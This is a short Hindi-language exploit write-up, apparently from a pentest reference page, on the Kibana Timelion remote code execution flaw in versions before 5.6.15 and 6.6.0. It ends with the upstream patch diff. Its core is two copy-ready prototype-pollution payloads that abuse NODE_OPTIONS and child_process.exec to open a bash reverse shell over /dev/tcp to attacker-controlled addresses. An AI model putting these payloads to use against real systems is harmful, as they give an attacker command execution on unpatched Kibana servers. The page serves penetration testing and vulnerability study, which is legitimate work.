
Kibana के 5.6.15 और 6.6.0 से पहले के संस्करणों में Timelion visualizer में RCE
Kibana के संस्करण 5.6.15 और 6.6.1 से पहले के संस्करणों में Timelion विज़ुअलाइज़र में एक मनमाना कोड निष्पादन दोष है। Timelion एप्लिकेशन तक पहुँच रखने वाला हमलावर एक अनुरोध भेज सकता है जो जावास्क्रिप्ट कोड को निष्पादित करने का प्रयास करेगा। यह संभावित रूप से हमलावर को होस्ट सिस्टम पर Kibana प्रक्रिया की अनुमतियों के साथ मनमाना कमांड निष्पादित करने तक ले जा सकता है।
@securityMB द्वारा खोजा गया
नोट: मैंने इस हमले का परीक्षण Kibana 6.6.0 पर किया था लेकिन यह काम नहीं कर रहा था... मेरी ओर से केवल Kibana < 6.6.0 के संस्करण ही कमजोर हैं जैसा कि @securityMB ने समझाया है
EDIT 20/12/2019 : यदि Canvas पैनल सुलभ नहीं है, तो बस @Synacktiv के इस राइटअप को देखें https://www.synacktiv.com/posts/pentest/pwning-an-outdated-kibana-with-not-so-sad-vulnerabilities.html

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -c \'bash -i>& /dev/tcp/127.0.0.1/6666 0>&1\'");//')
.props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')
विस्तृत विश्लेषण (अंग्रेज़ी):
सुरक्षा सलाह:
https://github.com/elastic/kibana/commit/3377f813a5d96ff466bdf7343ce161de24830ed4.patch
From 3377f813a5d96ff466bdf7343ce161de24830ed4 Mon Sep 17 00:00:00 2001
From: ppisljar <[email protected]>
Date: Wed, 16 Jan 2019 06:01:20 -0800
Subject: [PATCH] fixes
---
.../core_plugins/timelion/server/series_functions/props.js | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/src/legacy/core_plugins/timelion/server/series_functions/props.js b/src/legacy/core_plugins/timelion/server/series_functions/props.js
index 81b74901d4db..80e9cafd6712 100644
--- a/src/legacy/core_plugins/timelion/server/series_functions/props.js
+++ b/src/legacy/core_plugins/timelion/server/series_functions/props.js
@@ -32,7 +32,7 @@ function unflatten(data) {
let prop = '';
let m;
while (m = regex.exec(p)) {
- cur = cur[prop] || (cur[prop] = (m[2] ? [] : {}));
+ cur = (cur.hasOwnProperty(prop) && cur[prop]) || (cur[prop] = (m[2] ? [] : {}));
prop = m[2] || m[1];
}
cur[prop] = data[p];